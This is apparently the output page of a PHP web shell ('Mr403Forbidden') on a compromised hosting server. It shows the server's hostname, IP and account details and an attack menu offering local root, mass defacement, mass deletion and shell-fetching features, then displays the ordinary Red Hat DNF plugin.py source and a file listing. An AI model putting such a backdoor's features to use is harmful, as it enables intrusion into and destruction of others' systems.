./Mr403Forbidden

:/usr/lib/python3.6/site-packages/dnf/ [ s--------- ]

Information Server

System: Linux myhosting.zubahost.com 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
Software: LiteSpeed
PHP Version: 7.4.33 PHP Os: Linux
Server IP: 194.163.174.55
Your IP: 216.73.216.138
User: business1 (1088) | Group: business1 (1091)
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: OFF | WGET: ON | CURL: ON | GCC: ON | PKEXEC: OFF
Disable Function:

mail

Upload Via Link Adminer Mass Auto Root Command Create RDP Config Get Shell/Tools Get Localroot Mass Deface Mass Delete Network Scan Root Upload Website

: plugin.py

# plugin.py
# The interface for building DNF plugins.
#
# Copyright (C) 2012-2016 Red Hat, Inc.
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# the GNU General Public License v.2, or (at your option) any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY expressed or implied, including the implied warranties of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General
# Public License for more details.  You should have received a copy of the
# GNU General Public License along with this program; if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
# 02110-1301, USA.  Any Red Hat trademarks that are incorporated in the
# source code or documentation are not subject to the GNU General Public
# License and may only be used or replicated with the express permission of
# Red Hat, Inc.
#

from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals

import fnmatch
import glob
import importlib
import inspect
import logging
import operator
import os
import sys
import traceback

import libdnf
import dnf.logging
import dnf.pycomp
import dnf.util
from dnf.i18n import _

logger = logging.getLogger('dnf')

DYNAMIC_PACKAGE = 'dnf.plugin.dynamic'

class Plugin(object):
    """The base class custom plugins must derive from. #:api"""

name = '<invalid>'
    config_name = None

@classmethod
    def read_config(cls, conf):
        # :api
        parser = libdnf.conf.ConfigParser()
        name = cls.config_name if cls.config_name else cls.name
        files = ['%s/%s.conf' % (path, name) for path in conf.pluginconfpath]
        for file in files:
            if os.path.isfile(file):
                try:
                    parser.read(file)
                except Exception as e:
                    raise dnf.exceptions.ConfigError(_("Parsing file failed: %s") % str(e))
        return parser

def __init__(self, base, cli):
        # :api
        self.base = base
        self.cli = cli

def pre_config(self):
        # :api
        pass

def config(self):
        # :api
        pass

def resolved(self):
        # :api
        pass

def sack(self):
        # :api
        pass

def pre_transaction(self):
        # :api
        pass

def transaction(self):
        # :api
        pass

class Plugins(object):
    def __init__(self):
        self.plugin_cls = []
        self.plugins = []

def __del__(self):
        self._unload()

def _caller(self, method):
        for plugin in self.plugins:
            try:
                getattr(plugin, method)()
            except dnf.exceptions.Error:
                raise
            except Exception:
                exc_type, exc_value, exc_traceback = sys.exc_info()
                except_list = traceback.format_exception(exc_type, exc_value, exc_traceback)
                logger.critical(''.join(except_list))

def _check_enabled(self, conf, enable_plugins):
        """Checks whether plugins are enabled or disabled in configuration files
           and removes disabled plugins from list"""
        for plug_cls in self.plugin_cls[:]:
            name = plug_cls.name
            if any(fnmatch.fnmatch(name, pattern) for pattern in enable_plugins):
                continue
            parser = plug_cls.read_config(conf)
            # has it enabled = False?
            disabled = (parser.has_section('main')
                        and parser.has_option('main', 'enabled')
                        and not parser.getboolean('main', 'enabled'))
            if disabled:
                self.plugin_cls.remove(plug_cls)

def _load(self, conf, skips, enable_plugins):
        """Dynamically load relevant plugin modules."""

if DYNAMIC_PACKAGE in sys.modules:
            raise RuntimeError("load_plugins() called twice")
        sys.modules[DYNAMIC_PACKAGE] = package = dnf.pycomp.ModuleType(DYNAMIC_PACKAGE)
        package.__path__ = []

files = _get_plugins_files(conf.pluginpath, skips, enable_plugins)
        _import_modules(package, files)
        self.plugin_cls = _plugin_classes()[:]
        self._check_enabled(conf, enable_plugins)
        if len(self.plugin_cls) > 0:
            names = sorted(plugin.name for plugin in self.plugin_cls)
            logger.debug(_('Loaded plugins: %s'), ', '.join(names))

def _run_pre_config(self):
        self._caller('pre_config')

def _run_config(self):
        self._caller('config')

def _run_init(self, base, cli=None):
        for p_cls in self.plugin_cls:
            plugin = p_cls(base, cli)
            self.plugins.append(plugin)

def run_sack(self):
        self._caller('sack')

def run_resolved(self):
        self._caller('resolved')

def run_pre_transaction(self):
        self._caller('pre_transaction')

def run_transaction(self):
        self._caller('transaction')

def _unload(self):
        if DYNAMIC_PACKAGE in sys.modules:
            logger.log(dnf.logging.DDEBUG, 'Plugins were unloaded.')
            del sys.modules[DYNAMIC_PACKAGE]

def unload_removed_plugins(self, transaction):
        """
        Unload plugins that were removed in the `transaction`.
        """
        if not transaction.remove_set:
            return

# gather all installed plugins and their files
        plugins = dict()
        for plugin in self.plugins:
            plugins[inspect.getfile(plugin.__class__)] = plugin

# gather all removed files that are plugin files
        plugin_files = set(plugins.keys())
        erased_plugin_files = set()
        for pkg in transaction.remove_set:
            erased_plugin_files.update(plugin_files.intersection(pkg.files))
        if not erased_plugin_files:
            return

# check whether removed plugin file is added at the same time (upgrade of a plugin)
        for pkg in transaction.install_set:
            erased_plugin_files.difference_update(pkg.files)

# unload plugins that were removed in transaction
        for plugin_file in erased_plugin_files:
            self.plugins.remove(plugins[plugin_file])

def _plugin_classes():
    return Plugin.__subclasses__()

def _import_modules(package, py_files):
    for fn in py_files:
        path, module = os.path.split(fn)
        package.__path__.append(path)
        (module, ext) = os.path.splitext(module)
        name = '%s.%s' % (package.__name__, module)
        try:
            module = importlib.import_module(name)
        except Exception as e:
            logger.error(_('Failed loading plugin "%s": %s'), module, e)
            logger.log(dnf.logging.SUBDEBUG, '', exc_info=True)

def _get_plugins_files(paths, disable_plugins, enable_plugins):
    plugins = []
    disable_plugins = set(disable_plugins)
    enable_plugins = set(enable_plugins)
    pattern_enable_found = set()
    pattern_disable_found = set()
    for p in paths:
        for fn in glob.glob('%s/*.py' % p):
            (plugin_name, dummy) = os.path.splitext(os.path.basename(fn))
            matched = True
            enable_pattern_tested = False
            for pattern_skip in disable_plugins:
                if _plugin_name_matches_pattern(plugin_name, pattern_skip):
                    pattern_disable_found.add(pattern_skip)
                    matched = False
                    for pattern_enable in enable_plugins:
                        if _plugin_name_matches_pattern(plugin_name, pattern_enable):
                            matched = True
                            pattern_enable_found.add(pattern_enable)
                    enable_pattern_tested = True
            if not enable_pattern_tested:
                for pattern_enable in enable_plugins:
                    if _plugin_name_matches_pattern(plugin_name, pattern_enable):
                        pattern_enable_found.add(pattern_enable)
            if matched:
                plugins.append(fn)
    enable_not_found = enable_plugins.difference(pattern_enable_found)
    if enable_not_found:
        logger.warning(_("No matches found for the following enable plugin patterns: {}").format(
            ", ".join(sorted(enable_not_found))))
    disable_not_found = disable_plugins.difference(pattern_disable_found)
    if disable_not_found:
        logger.warning(_("No matches found for the following disable plugin patterns: {}").format(
            ", ".join(sorted(disable_not_found))))
    return plugins

def _plugin_name_matches_pattern(plugin_name, pattern):
    """
    Checks plugin name matches the pattern.

The alternative plugin name using dashes instead of underscores is tried
    in case of original name is not matched.

(see https://bugzilla.redhat.com/show_bug.cgi?id=1980712)
    """

try_names = set((plugin_name, plugin_name.replace('_', '-')))
    return any(fnmatch.fnmatch(name, pattern) for name in try_names)

def register_command(command_class):
    # :api
    """A class decorator for automatic command registration."""
    def __init__(self, base, cli):
        if cli:
            cli.register_command(command_class)
    plugin_class = type(str(command_class.__name__ + 'Plugin'),
                        (dnf.Plugin,),
                        {"__init__": __init__,
                         "name": command_class.aliases[0]})
    command_class._plugin = plugin_class
    return command_class

Name	Type	Last Edit	Size	Owner/Group	Permission	Action
..
__init__.py	file	2021-04-12 15:26	1.36 KB	root/root	s---------
base.py	file	2025-03-11 9:47	114.74 KB	root/root	s---------
callback.py	file	2021-04-12 15:26	3.64 KB	root/root	s---------
comps.py	file	2025-03-11 9:47	24.24 KB	root/root	s---------
const.py	file	2025-03-11 9:47	2.31 KB	root/root	s---------
crypto.py	file	2021-04-12 15:26	5.98 KB	root/root	s---------
dnssec.py	file	2021-04-12 15:26	11.06 KB	root/root	s---------
drpm.py	file	2021-04-12 15:26	6.2 KB	root/root	s---------
exceptions.py	file	2021-04-12 15:26	5.71 KB	root/root	s---------
goal.py	file	2021-04-12 15:26	1.08 KB	root/root	s---------
history.py	file	2021-04-12 15:26	1.12 KB	root/root	s---------
i18n.py	file	2021-04-12 15:26	12.03 KB	root/root	s---------
lock.py	file	2021-04-12 15:26	5.2 KB	root/root	s---------
logging.py	file	2021-04-12 15:26	10.11 KB	root/root	s---------
match_counter.py	file	2021-04-12 15:26	3.83 KB	root/root	s---------
package.py	file	2021-04-12 15:26	10.94 KB	root/root	s---------
persistor.py	file	2021-04-12 15:26	4.61 KB	root/root	s---------
plugin.py	file	2025-03-11 9:47	9.33 KB	root/root	s---------
pycomp.py	file	2021-04-12 15:26	3.52 KB	root/root	s---------
query.py	file	2021-04-12 15:26	1.55 KB	root/root	s---------
repo.py	file	2025-03-11 9:47	20.32 KB	root/root	s---------
repodict.py	file	2025-03-11 9:47	5.04 KB	root/root	s---------
sack.py	file	2021-04-12 15:26	2.97 KB	root/root	s---------
selector.py	file	2021-04-12 15:26	1.1 KB	root/root	s---------
subject.py	file	2021-04-12 15:26	1.12 KB	root/root	s---------
transaction.py	file	2021-04-12 15:26	4.29 KB	root/root	s---------
transaction_sr.py	file	2025-03-11 9:47	25.59 KB	root/root	s---------
util.py	file	2021-04-12 15:26	19.9 KB	root/root	s---------